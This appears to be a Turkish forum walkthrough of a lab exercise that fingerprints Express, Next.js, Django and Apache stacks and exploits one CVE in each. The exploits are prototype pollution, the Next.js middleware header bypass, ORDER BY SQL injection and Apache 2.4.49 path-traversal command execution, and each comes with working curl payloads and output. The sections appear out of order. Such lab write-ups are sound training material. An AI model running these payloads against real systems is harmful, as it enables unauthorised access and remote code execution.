sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
İlk root olmayan hesap daemon hesabıdır ve bu, Apache sürecini çalıştıran kullanıcıyla aynıdır. Bu durum, sunucunun root yetkileriyle çalışmadığını doğrular.

3. Adım: Bayrağı Okuyun
Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /flag.txt'
[REDACTED]

Bilgi

CVE-2021-41773 sürüme özeldir. Sadece Apache 2.4.49 sürümünü etkiler. 2.4.50’de yapılan kısmi bir yama tekli kodlanmış nokta karakterlerini engeller, ancak çift kodlama yöntemlerini engelleyemez. CVE-2021-42013 ise %%32%65%%32%65/ kullanılarak yapılan bu baypas yöntemini kapsar.
2.4.51 ve sonraki sürümler tamamen yamalanmıştır. Server: Apache/2.4.49 veya Server: Apache/2.4.50 başlığı görüldüğünde, bu CVE’yi değerlendirmek için güçlü bir işaret kabul edilir.


Automation

Manuel parmak izi çıkarma

Manuel fingerprinting (parmak izi çıkarma), hangi sinyallerin önemli olduğunu ve neden önemli olduklarını anlamayı öğretir. Çok sayıda host içeren bir kapsam üzerinde çalışırken, Nikto hızlı bir ilk tarama sağlar; her servisi kontrol eder, yanıt başlıklarını okur ve herhangi bir payload yazmadan yığın (stack) bilgilerini ve bilinen yanlış yapılandırmaları ortaya çıkarır.

Dört Yığını da Tarama
Nikto'yu sırayla her bir bağlantı noktasında çalıştırın: 3000 numaralı bağlantı noktasında MERN, 3001 numaralı bağlantı noktasında Next.js, 8000 numaralı bağlantı noktasında Django ve 8080 numaralı bağlantı noktasında Apache.
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:3000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        3000
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Cookie connect.sid created without the httponly flag
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'content-security-policy' found, with contents: default-src 'none'
+ Allowed HTTP Methods: GET, HEAD
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

Sunucu başlığı yok

Sunucu (Server) banner’ı bulunmuyor; Express varsayılan olarak böyle bir başlık göndermez. İki sinyal stack’i doğrular: x-powered-by: Express başlığı ve connect.sid oturum çerezi. Oturum çerezinde HttpOnly bayrağının eksik olması ek bir güvenlik bulgusudur.

Port 3001 - Next.js
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:3001

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        3001
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Next.js
+ Uncommon header 'x-nextjs-stale-time' found, with contents: 4294967294
+ Uncommon header 'x-nextjs-cache' found, with contents: HIT
+ Uncommon header 'x-nextjs-prerender' found, with contents: 1
+ Allowed HTTP Methods: HEAD
+ 6544 items checked: 0 error(s) and 19 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

x-powered-by: Next.js ifadesi, kullanılan framework’ü doğrular. Üç adet x-nextjs-* başlığı, App Router’ın üretim (production) modunda olduğunu teyit eder; bu durum CVE-2025-29927’nin geçerli olması için gerekli koşuldur.

Port 8000 - Django
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:8000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        8000
---------------------------------------------------------------------------
+ Server: WSGIServer/0.2 CPython/3.10.12
+ Uncommon header 'referrer-policy' found, with contents: same-origin
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
WSGIServer/0.2 CPython/3.10.12, Django’ya özgü bir sunucu banner’ıdır. referrer-policy: same-origin ve x-content-type-options: nosniff başlıklarının birlikte bulunması, Django’nun SecurityMiddleware bileşeninin aktif olduğunu doğrular.

Port 8080 - Apache
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:8080

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        8080
---------------------------------------------------------------------------
+ Server: Apache/2.4.49 (Unix)
+ Server leaks inodes via ETags, header found with file /
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Server: Apache/2.4.49 (Unix)

Bu ifade, CVE-2021-41773 için doğrudan bir göstergedir. Nikto’nun dört farklı port üzerindeki taramalarında elde ettiği en değerli bulgu budur: kritik bir bilinen zafiyetle eşleşen net bir sürüm numarası.
Nikto, tüm stack’leri bir dakikadan kısa sürede tespit etmiştir. Apache için tam sürüm bilgisini vererek ek fingerprinting ihtiyacını ortadan kaldırır. MERN ve Django tarafında ise stack doğrulanmış olsa da, Nikto’nun uygulama seviyesindeki enjeksiyon açıklarını tespit etmeye yönelik hazır şablonları yoktur. Bu noktada 2. ve 4. görevlerde kullanılan manuel teknikler devreye girer.

Çözüm
Dört farklı stack’i parmak iziyle tespit ettin ve her seferinde aynı üç adımlı iş akışını kullanarak dört CVE’yi istismar ettin: sinyalleri oku, sürümü doğrula, zinciri çalıştır.


CVE Özeti


StackCVEEtkiCVSS
MERN / ExpressCVE-2020-8203Prototype pollution → kimlik doğrulama atlatma7.4 Yüksek
Next.js MiddlewareCVE-2025-29927Tek başlık → tam middleware atlatma9.1 Kritik
Django ORMCVE-2021-35042Parametreleştirilmemiş ORDER BY üzerinden SQL enjeksiyonu9.8 Kritik
Apache LAMPCVE-2021-41773Path traversal + mod_cgi RCE9.8 Kritik
1781688941688.pngOkuduğunuz için teşekkür ederim





CW-Ommah
Bug Researchers Tim Sundu...

1781688973657.png
 

müminbiri

müminbiri

Ne kadar sessiz olursan, o kadar çok işitebilirsin
13 Ağu 2025
1,326 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Pasif HTTP sinyallerinden (başlıklar, çerez adları, hata sayfaları, URL yapısı) bir web yığınını istismar yükü göndermeden tanımlamayı CVE-2025-29927 açığını kullanarak Next.js middleware kimlik doğrulamasını atlatmayı, CVE-2021-35042 açığını kullanarak bir Django uygulamasından veritabanı içeriklerini çıkarmayı ve son olarak CVE-2021-41773 açığını kullanarak Apache 2.4.49 üzerinde mod_cgi aracılığıyla keyfi dosyaları okuyun ve sistem komutları çalıştırmayı öğrenceğiz Allah’ın izniyle


MERN Stacks
MERN teknolojileri günümüzde oldukça yaygın olarak kullanılmaktadır. MongoDB, Express.js, React ve Node.js’den oluşan bu yığın; modern SaaS uygulamalarının, şirket içi araçların ve API arka uçlarının büyük bir kısmını desteklemektedir. Express, Node.js ekosisteminde en fazla kullanılan web framework’üdür. Ancak minimalist tasarım anlayışı nedeniyle geliştiriciler birçok yardımcı işlevi kendileri geliştirmek zorunda kalır. Güvenlik açıklarının önemli bir bölümü de bu özel yazılmış yardımcı kodlarda bulunur.


Yığın Kimliği (Stack Identity)

MERN uygulamaları, tüm yazılım yığını boyunca tek bir programlama dili kullanmak isteyen ve yalnızca JavaScript’e odaklanan ekipler için varsayılan tercih haline gelmiştir. Ubuntu üzerinde tipik bir dağıtımda, Node.js genellikle NodeSource PPA üzerinden kurulur, Express ise 3000 veya 5000 numaralı portlarda dinleme yapar. MongoDB ise varsayılan olarak 27017 numaralı port üzerinde çalışır.

Üretim ortamlarında genellikle ön tarafta bir ters vekil (reverse proxy) olarak Nginx bulunur. Ancak yanlış yapılandırılmış ortamlarda ve kurum içi araçlarda, Express süreci çoğu zaman doğrudan internete açık şekilde erişilebilir durumda bırakılır.


MERN Yığınının Tespit Edilmesi (Fingerprinting the MERN Stack)

Herhangi bir istismar (exploit) yükünü kullanmaya başlamadan önce, karşı karşıya olduğunuz sistemin ne olduğunu belirlemeniz gerekir. İlk adım olarak HTTP başlıklarını (headers) kontrol ederek başlayın:
Kod:
root@CW-ommah:~# curl -I 10.113.153.178:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
ETag: W/"44-0T374IjVuBCKvVq78aQtpBIvD2A"
Set-Cookie: connect.sid=s%3A2PyC5xblQ3G0ERkE60uOUddRtPs2jacn.0gAB6ByfrNg3b48tDXARTEBQG0pLlKkBofAsa69W%2FY0; Path=/; HttpOnly
Date: Sun, 03 May 2026 15:00:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Yanıtta bunları arayın:

Gösterge (Signal)Değer (Value)Güven Düzeyi (Confidence)
X-Powered-By başlığıExpressYüksek
Set-Cookie başlığıconnect.sid=s%3A...Yüksek
İşlenmemiş rota yanıtıCannot GET /nonexistent (düz metin)Yüksek
Ön uç (frontend) kök elementiHTML gövdesi (body) içerisindeOrta


X-Powered-By: Express başlığı, en temel göstergedir. Express, varsayılan olarak her yanıtta bu başlığı gönderir. Bu başlık yalnızca geliştiricinin açıkça app.disable('x-powered-by') çağrısını yapması veya Helmet ara yazılımını (middleware) eklemesi durumunda kaldırılır. Çoğu geliştirici bunu yapma gereği duymaz.

Ters vekiller (reverse proxies) ve PaaS platformları (örneğin Vercel, Cloudflare ve Railway) bu başlığı istemciye ulaşmadan önce sıklıkla kaldırır. Eğer X-Powered-By başlığı mevcut değilse, ikincil göstergeler olarak çerez (cookie) adı ve işlenmemiş rota (unhandled route) biçimi kullanılmalıdır.

connect.sid çerezi, express-session ara yazılımı tarafından oluşturulur. Uygulama saveUninitialized: true ayarıyla çalışıyorsa (birçok uygulamada varsayılan durum budur), bu çerez mevcut olur. Giriş oturumları için önerilen ayar olan saveUninitialized: false kullanıldığında ise çerez yalnızca bir oturum oluşturulduktan sonra görünür. Bu nedenle connect.sid çerezinin bulunmaması, uygulamanın Express kullanmadığı anlamına gelmez.

Not: Eğer saveUninitialized: false yapılandırılmışsa (özellikle yeni express-session belgelerinde yalnızca oturum açma amaçlı oturumlar için önerilen varsayılan ayar), kimliği doğrulanmamış isteklerde bu çerez görünmez. Dolayısıyla connect.sid çerezinin bulunmaması, Express'in kullanılmadığını doğrulamaz.
Kod:
root@CW-ommah:~# curl http://10.113.153.178:3000/nonexistent
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /nonexistent</pre>
</body>
</html>

Varsayılan ayarlarla çalışan bir Express uygulaması, düz metin olarak şu yanıtı döndürür:
Kod:
Cannot GET /nonexistent
Bu davranış, diğer teknolojilerden belirgin şekilde farklıdır:

  • Django, HTML biçiminde bir hata sayfası gösterir.
  • Apache, biçimlendirilmiş (styled) bir 403 veya 404 hata sayfası döndürür.
  • Next.js, tasarımlı bir hata sayfası içeren HTML çıktısı verir.
Bu nedenle, düz metin olarak dönen Cannot GET /nonexistent yanıtı, Express uygulamalarını tanımlamak için açık ve ayırt edici bir göstergedir.

MERN Uygulamalarının İstismar Edilmesi

Yığın yapısını doğruladınız: 3000 numaralı port üzerinde çalışan bir Express uygulaması ve connect.sid oturum çerezi mevcut.

Bir MERN uygulamasına yönelik sızma testinde (pentest), parmak izi çıkarma (fingerprinting) aşamasından sonraki adım API yüzeyinin (API surface) keşfedilmesidir (enumeration). MERN uygulamaları genellikle profil güncellemeleri, kullanıcı tercihleri ve hesap ayarları için JSON tabanlı API'ler sunar. Geliştiriciler de çoğu zaman kullanıcı nesnelerine kısmi güncellemeler uygulamak için kendi yardımcı işlevlerini (utility functions) yazarlar.

Prototype pollution türündeki güvenlik açıkları da genellikle bu yardımcı işlevlerde ortaya çıkar.

3000 numaralı portta çalışan uygulama,bizim açımızdan önemli olan aşağıdaki iki uç noktayı (endpoint) sunmaktadır:

Uç Nokta (Endpoint)Yöntem (Method)Amaç (Purpose)
/api/user/updatePOSTJSON verisini kabul eder ve bunu oturumdaki kullanıcı nesnesiyle birleştirir
/api/admin/flagGETİsteği yapan kullanıcının yönetici (admin) yetkisi varsa bir bayrak (flag) döndürür
Öncelikle yönetici (admin) rotasının erişim kontrolüyle korunduğunu doğrulayın. Bunun için önce oturum çerezinizi (session cookie) kaydedin, ardından aşağıdaki komutları çalıştırarak korunan uç noktayı (protected endpoint) test edin:
Kod:
root@CW-ommah:~# curl -c cookies.txt http://10.113.153.178:3000/
MERN Lab App
root@CW-ommah :~# curl -b cookies.txt http://10.113.153.178:3000/api/admin/flag
{"error":"Not authorized"}

Beklenen sonuç: {"error":"Not authorized"}.
Bu kontrol, isAdmin özelliğine sahip olmayan normal oturum kullanıcıları için düzgün şekilde çalışmaktadır.
Şimdi, güncelleme (update) uç noktasının normal koşullar altında ne kabul ettiğine bakın. Meşru bir istemci (client) genellikle bir isim veya e-posta değişikliği gönderir.
Kod:
root@CW-ommah:~# curl -b cookies.txt -X POST http://10.113.153.178:3000/api/user/update -H "Content-Type: application/json" -d '{"name": "Alice", "email":"[email protected]"}'
{"status":"updated"}
Beklenen sonuç: {"status":"updated"}.
Bu uç nokta, rastgele JSON anahtarlarını kabul eder ve bunları herhangi bir filtreleme yapmadan kullanıcı nesnesiyle birleştirir. Asıl saldırı yüzeyi de bu birleştirme (merge) fonksiyonudur.

Her JavaScript nesnesi, Object.prototype adı verilen ortak bir kökten miras alır. Bir birleştirme fonksiyonu {"__proto__": {"isAdmin": true}} girdisini herhangi bir filtreleme yapmadan aldığında, isAdmin: true değerini tek bir kullanıcı nesnesine değil, doğrudan Object.prototype üzerine yazar.

Bunun sonucunda, Node.js sürecindeki .isAdmin özelliğini kontrol eden her nesne, bu özelliği kendi üzerinde tanımlı olmasa bile prototip zinciri üzerinden true değerini bulur. Böylece admin bayrağı kontrolü yapan uç nokta, üzerinde isAdmin özelliği tanımlı olmayan düz bir oturum nesnesi kullandığı için doğrudan hedef haline gelir.

Bazı daha güvenli (hardening uygulanmış) ortamlarda giriş seviyesinde __proto__ filtresi uygulanır. Bu durumlarda ise constructor.prototype yolu ({"constructor": {"prototype": {"isAdmin": true}}}) farklı bir mekanizma üzerinden Object.prototype’a ulaşarak bu filtreleri aşabilir.


Admin Bayrağını Elde Etme

Uygulamadaki güvenlik açığı bulunan birleştirme (merge) fonksiyonu şu şekilde görünmektedir:
Kod:
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
{"__proto__": {"isAdmin": true}} yükü (payload) bu fonksiyona ulaştığında, kaynak anahtarlar içinde __proto__ alanını bulur, bunun bir nesne olduğunu görür ve özyinelemeli (recursive) olarak işlem yapar.

Bu özyineleme sırasında target["__proto__"], normal bir anahtar değil Object.prototype’a bir referans olduğu için, Object.prototype.isAdmin = true şeklinde bir atama yapılır.

Bunun ardından admin rotası currentUser.isAdmin değerini okur. Nesnenin kendi üzerinde böyle bir özellik bulunmadığı için prototip zincirinde yukarı çıkar ve değeri bulur, böylece flag’i döndürür.

Kod:
app.get('/api/admin/flag', (req, res) => {
  const currentUser = req.session.currentUser || {};
  if (currentUser.isAdmin) {               // resolves true via prototype chain
    res.json({ flag: '[REDACTED]' });
  } else {
    res.status(403).json({ error: 'Not authorized' });
  }
});
Adım 1: Prototype Pollution (Prototip Kirlenmesi) Yükünü Gönderme
Kod:
root@CW-ommah:~# curl -b cookies.txt -X POST http://10.113.153.178:3000/api/user/update -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
{"status":"updated"}
Sunucu {"status":"updated"} yanıtını verir. Birleştirme işlemi çalışmıştır ve Node.js süreci içinde Object.prototype.isAdmin artık true’dur.

Adım 2: Admin Bayrağını İstekle Alın

Kod:
root@CW-ommah:~# curl -b cookies.txt http://10.113.153.178:3000/api/admin/flag
{"[REDACTED]"}
isAdmin kontrolü prototip zinciri üzerinden true olarak çözülür ve yanıt flag’i içerir.
Bu, modern web yığınlarını istismar etmek için kullanılabilecek birçok teknikten sadece biridir.



React/ Next.js
Express, az önce istismar ettiğimiz MERN yığınının temelini oluşturur. Next.js ise bunun üzerine inşa edilir ve App Router, React Server Components ve middleware gibi soyutlamalar ekleyerek farklı ve daha ciddi bir saldırı yüzeyi oluşturur.


Yığın Kimliği (Stack Identity)

Next.js, üretim (production) uygulamaları için en yaygın kullanılan React framework’üdür. Son üç yıl içinde geliştirilmiş çoğu yatırımcı panosu (dashboard), müşteri portalı ve pazarlama sitesinin arkasında onu bulabilirsiniz.

Ubuntu üzerinde genellikle özel bir kullanıcı (node veya www-data) altında çalışan bir Node.js süreci olarak çalışır ve çoğunlukla npm run build sonrasında npm start komutuyla başlatılır.

App Router (Next.js 13 ile tanıtıldı, Next.js 14’ten itibaren varsayılan hale geldi), React Server Components özelliğini etkinleştirir. Bu yapı, CVE-2025-29927 ve CVE-2025-55182 gibi güvenlik açıklarının ortaya çıkmasına olanak sağlar.

Not: CVE-2025-29927 ve CVE-2025-55182’nin her ikisi de Next.js uygulamalarını üretim derleme modunda (production build mode) etkiler (npm run build && npm start). Geliştirme modunda (next dev) ortaya çıkmazlar. Eğer parmak izi çıkarma (fingerprinting) işlemi bir geliştirme sunucusu olduğunu doğrularsa, bu iki CVE geçerli değildir.

React Server Components ve Flight Protokolü
App Router, React bileşenlerini doğrudan sunucu üzerinde çalıştırır. Tarayıcıya JavaScript göndermek yerine, sunucu bileşeni çalıştırır ve sonucu RSC Flight protokolü adı verilen ikili (binary-benzeri) bir format kullanarak istemciye akış (stream) halinde iletir.
Bu akış kanalı, yani bu yükü (payload) sunan uç nokta (endpoint), CVE-2025-55182 için saldırı yüzeyini oluşturur.

Next.js’in Parmak İzi Çıkarılması (Fingerprinting)
Pasif parmak izi çıkarma (passive fingerprinting) ile başlayın. Henüz herhangi bir exploit yükü (payload) kullanmayın.
Kod:
root@CW-ommah:~# curl -I http://10.113.153.178:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000,
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Connection: keep-alive
Keep-Alive: timeout=5
İşlem tamamlandıktan sonra aşağıdaki desenleri arayın:

Sinyal (Signal)Değer (Value)Güven (Confidence)
X-Powered-By başlığıNext.jsYüksek
HTML kaynağıscript etiketi içinde window.__next_fYüksek (App Router’ı doğrular)
Statik varlık yolları/_next/static/chunks/Yüksek
Middleware başlıklarıx-middleware-next veya x-middleware-rewriteOrta
Korumalı rotaya yönlendirme/login adresine HTTP 307 yönlendirmesiOrta
Sayfa kaynak kodunda window.__next_f ifadesinin bulunması, App Router için kesin bir göstergedir. Bu, React Server Component verileri için kullanılan hydration (hidratasyon) dizisidir ve Next.js tarafından her App Router sayfasının HTML çıktısına enjekte edilir. Pages Router’da veya diğer herhangi bir framework’te bu ifade yer almaz.

CVE-2025-29927: Middleware Bypass
Next.js’te middleware, bir sayfaya ulaşmadan önce her istekte çalışan bir fonksiyondur. Geliştiriciler bunu merkezi bir kontrol noktası (gatekeeper) olarak kullanır; kimlik doğrulama kontrolleri, oturum doğrulaması ve yönlendirme (redirect) mantığı burada yer alır. Middleware her rotanın önünde bulunduğu için, Next.js uygulamalarında erişim kontrolünün en yaygın uygulandığı yerdir.
Bu uygulamadaki /dashboard rotası tipik bir örnektir. Middleware, geçerli bir oturum çerezi (session cookie) olup olmadığını kontrol eder. Eğer yoksa, kullanıcıyı /login sayfasına yönlendirir. Bunun doğru çalıştığını doğrulayalım:
Kod:
root@CW-ommah:~# curl -v http://10.113.153.178:3001/dashboard
Trying 10.113.153.178:3001...
Connected to 10.113.153.178 port 3001
GET /dashboard HTTP/1.1
Host: 10.113.153.178:3001
Accept: /
/login
Middleware çalışıyor. Cookie yoksa dashboard’a erişim sağlanmıyor ve sunucu doğrudan /login sayfasına yönlendiriyor.

Şimdi güvenlik açığına gelelim. Next.js, sonsuz döngüleri önlemek için x-middleware-subrequest adında dahili bir başlık (header) kullanır. Middleware kendi kendini özyinelemeli (recursive) olarak çağırdığında — örneğin değiştirilmiş bir isteği başka bir rotaya iletirken — Next.js bu başlığı ekler ve böylece aynı istekte middleware’in tekrar çalıştırılmasını engeller. Bu, framework içinde yerleşik bir performans ve güvenlik mekanizmasıdır.

Kritik sorun şudur: Next.js, x-middleware-subrequest başlığının dahili bir süreçten mi yoksa dış bir istemciden mi geldiğini kontrol etmez. Eğer bu başlığı kendi isteğinize eklerseniz, Next.js bunu dahili bir alt istek (subrequest) gibi değerlendirir ve middleware’i tamamen atlar. Böylece kimlik doğrulama kontrolü hiç çalışmaz.

Bu başlığın değeri, middleware modül yolunu kodlar ve beş kez tekrarlanır. Kök dizinde bir middleware.ts dosyası olan bir uygulama için:

Kod:
root@CW-ommah:~# curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://10.113.153.178:3001/dashboard
...
DashboardFlag: [REDACTED]
...
Middleware kontrolü tamamen atlanır. İstek doğrudan dashboard sayfa işleyicisine (handler) yönlendirilir ve bu da flag’i döndürür.

Bu, CVE-2025-29927 olarak bilinen ve CVSS 9.1 (kritik) seviyesinde bir güvenlik açığıdır. Kimlik doğrulama için middleware’e dayanan tüm Next.js uygulamaları, tek bir header kullanılarak tamamen kimlik doğrulama atlatılmasına karşı savunmasız hale gelmiştir. Herhangi bir kimlik bilgisi, brute force (kaba kuvvet) veya oturum belirteci (session token) gerekmez; yalnızca Next.js’in doğrulamadan güvendiği bir header değeri yeterlidir.

Bilgi: Eğer uygulama /src dizin yapısını kullanıyorsa, header değeri src/middleware ifadesinin beş kez tekrarlanması şeklinde değişir. Middleware.ts dosyasının proje kök dizininde mi yoksa src/ klasörü içinde mi bulunduğunu her zaman kontrol edin.


Django
Az önce üzerinde çalıştığınız MERN ve Next.js yığınları Node.js üzerinde çalışır. Django ise devlet kurumlarının, haber kuruluşlarının ve Python mühendislik ekiplerine sahip SaaS şirketlerinin öncelikli olarak tercih ettiği, Python’a özgü alternatif bir framework’tür.

ORM’nin (Object-Relational Mapping), geliştiricileri SQL enjeksiyonu (SQL Injection) saldırılarından koruması beklenir. Çoğu sorgu için bu korumayı sağlar. Ancak geliştiriciler ORM’yi devre dışı bırakıp kullanıcı girdilerini doğrudan SQL sorgularına eklediklerinde veya ORM’nin kullanım dışı bırakılmış (deprecated) bir kod yolunda güvenlik açığı bulunduğunda, veritabanı tamamen savunmasız hale gelir.


Yığın Kimliği (Stack Identity)

Django, Python tabanlı web uygulamalarının önemli bir bölümüne güç sağlar. Ubuntu üzerinde genellikle Gunicorn veya Django’nun yerleşik geliştirme sunucusu altında çalışır ve çoğunlukla 8000 numaralı portu kullanır.

Django yönetim paneli (/admin/) ve CSRF middleware’i, neredeyse tüm Django projelerinde varsayılan olarak etkin durumdadır. Tek başına yönetim panelinin varlığı bile, herhangi bir exploit yükü göndermeden önce yığın hakkında güvenilir bir gösterge sağlar.


Django’nun Parmak İzi Çıkarılması (Fingerprinting Django)

Çalışan uygulamaya karşı ilk olarak HTTP başlıklarını (headers) kontrol ederek başlayın:
Kod:
root@CW-ommah:~# curl -I "http://10.82.95.115:8000/products/"
HTTP/1.1 200 OK
Date: Sun, 03 May 2026 14:33:20 GMT
Server: WSGIServer/0.2 CPython/3.10.12
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Cookie
Content-Length: 407
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie:  csrftoken=9vMaeHlURA0uOYnP9qB2BrDNTvNPoD0JPyecxWNxV7aohswgtAtBvwbLWaOTYIF7; expires=Sun, 02 May 2027 14:33:20 GMT; Max-Age=31449600; Path=/; SameSite=Lax
İşlem tamamlandıktan sonra aşağıdaki çıktıları arayın arayın:

Sinyal (Signal)Değer (Value)Güven Düzeyi (Confidence)
Server başlığıWSGIServer/0.2 CPython/X.X.XYüksek
Çerez (Cookie) adıcsrftokenYüksek
X-Frame-Options başlığıDENYYüksek
X-Content-Type-Options başlığınosniffYüksek
Referrer-Policy başlığısame-originOrta
HTML kaynak kodu (herhangi bir POST formu)Gizli alan (hidden field) olarak csrfmiddlewaretokenYüksek
csrfmiddlewaretoken gizli alanı (hidden field), Django için en güvenilir parmak izi göstergesidir. Django'nun CsrfViewMiddleware bileşeni, bu alanı otomatik olarak her POST formuna ekler. /admin/ sayfasına gidip kaynak kodunu görüntülediğinizde bu alanın her zaman mevcut olduğunu görebilirsiniz. Bu alanı Express, Rails veya herhangi bir Next.js uygulamasında bulamazsınız.

X-Frame-Options: DENY, X-Content-Type-Options: nosniff ve Referrer-Policy: same-origin başlıklarının birlikte bulunması, Django'nun SecurityMiddleware bileşenine işaret eder. Varsayılan olarak bu başlık kombinasyonunu uygulayan başka bir framework bulunmaz.

CVE-2021-35042: Güvenlik Açığı

/products/ isteğini işleyen görünüm (view), SQL sorgusunu oluştururken order parametresini doğrudan ORDER BY ifadesine ekleyerek sorguyu oluşturur:
Kod:
order = self.request.GET.get('order', 'name')
sql = (

    'SELECT id, name, price, description FROM products_product '
    f'ORDER BY (CASE WHEN (1=1) THEN {order} ELSE name END)'
)

?order= parametresine ne yazarsanız yazın, bu değer herhangi bir doğrulama yapılmadan SQL sorgusundaki THEN dalının içine yerleştirilir. CASE WHEN yapısı her zaman doğru (1=1) olduğundan, THEN dalı da her zaman çalışır ve böylece enjeksiyonun giriş noktası haline gelir.

updatexml() tekniği, MySQL’in XPath hatalarını nasıl işlediğinden yararlanır. updatexml(1, xpath_expr, 1) fonksiyonu, XPath ifadesi geçersiz olduğunda bir hata üretir. concat(0x7e, ...) kullanılarak XPath argümanının içine bir SELECT sorgusu yerleştirildiğinde, MySQL sorgu sonucunu hata mesajının içine ekler. 0x7e, ~ karakterinin onaltılık (hex) karşılığıdır ve çıkarılan değerin kolayca ayırt edilebilmesi için ayraç olarak kullanılır.

Django’nun hata ayıklama modu (DEBUG = True), bu MySQL hata mesajlarını HTTP 500 yanıtının gövdesinde görüntüler.

Uyarı: updatexml() tekniği yalnızca settings.py dosyasında DEBUG = True olarak ayarlandığında çalışır. Üretim ortamındaki bir uygulamada DEBUG = False olduğunda, ayrıntılı hata mesajları yerine genel bir 500 hata sayfası döndürülür.


İstismar Süreci (Exploitation Walkthrough)

Adım 1: MySQL Sürümünü Çıkarma

Enjeksiyonun çalıştığını doğrulamak için bilinen bir değeri çıkarın: veritabanı sürümü. @@version sistem değişkeni her zaman kullanılabilir durumdadır ve yükünüzün (payload) çalıştığını anında doğrulamanızı sağlar.

500 hata yanıtı, hata ayıklama (debug) çıktısı içinde Django sürümünü de ortaya çıkarır:

Kod:
root@ip-10-82-126-238:~# curl -s "http://10.114.186.6:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'
~8.0.45-0ubuntu0.22.04.1
~ öneki (prefix), yükünüzün (payload) çalıştığını ve veritabanının yanıt verdiğini doğrular. MySQL 8.0 üzerinde enjeksiyon gerçekleştiriyorsunuz.

Aynı 500 hata sayfası, hata ayıklama (debug) çıktısı içinde Django Sürümü: 3.2.4 bilgisini de içerir.

Adım 2: Veritabanı Adını Çıkarma
Şimdi uygulamanın hangi veritabanını kullandığını tespit edin.
Kod:
root@ip-10-82-126-238:~# curl -s "http://10.114.186.6:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'
~vuln_db
Hedef veritabanı vuln_db’dir. Bu yalnızca bir örnektir ve bu tür bilgiler, veritabanını daha fazla istismar etmek ve içeriğini çıkarmak için Sqlmap gibi araçlara sağlanabilir.


LAMP
LAMP (Linux, Apache, MySQL, PHP), en eski ve en yaygın kullanılan web uygulama yığınlarından biridir. Tüm bileşenlerinin açık kaynaklı, kararlı ve kurulumu kolay olması nedeniyle popüler hale gelmiştir.

Linux işletim sistemini sağlar, Apache web isteklerini yönetir, MySQL veritabanını kontrol eder ve PHP dinamik içerikleri işler. Uzun yıllar boyunca bloglar, forumlar ve kurumsal uygulamalar dahil olmak üzere internetin büyük bir bölümüne güç vermiştir.

Günümüzde bile birçok eski sistem ve üretim ortamı, basitliği ve güvenilirliği nedeniyle LAMP mimarisine bağlı kalmaya devam etmektedir.


Yığın Kimliği (Stack Identity)

Ubuntu üzerinde Apache genellikle www-data kullanıcısı altında çalışır, dosyaları /var/www/html dizininden sunar ve dinamik istekleri mod_php veya PHP-FPM aracılığıyla PHP’ye iletir.

MySQL uygulama verilerini saklarken, PHP sunucu taraflı (server-side) mantığı işler. Bu klasik Linux, Apache, MySQL ve PHP kombinasyonu; açıkta kalan PHP dosyaları, veritabanı hataları, zayıf dosya izinleri ve hatalı yapılandırılmış Apache/PHP ayarları gibi yaygın saldırı yüzeyleri oluşturur.


LAMP Yığınını Tespit Etme (Fingerprinting the LAMP Stack)

Bir başlık (header) kontrolü ile başlayın. Apache, her yanıtta sürüm bilgisini yayınlar:
Kod:
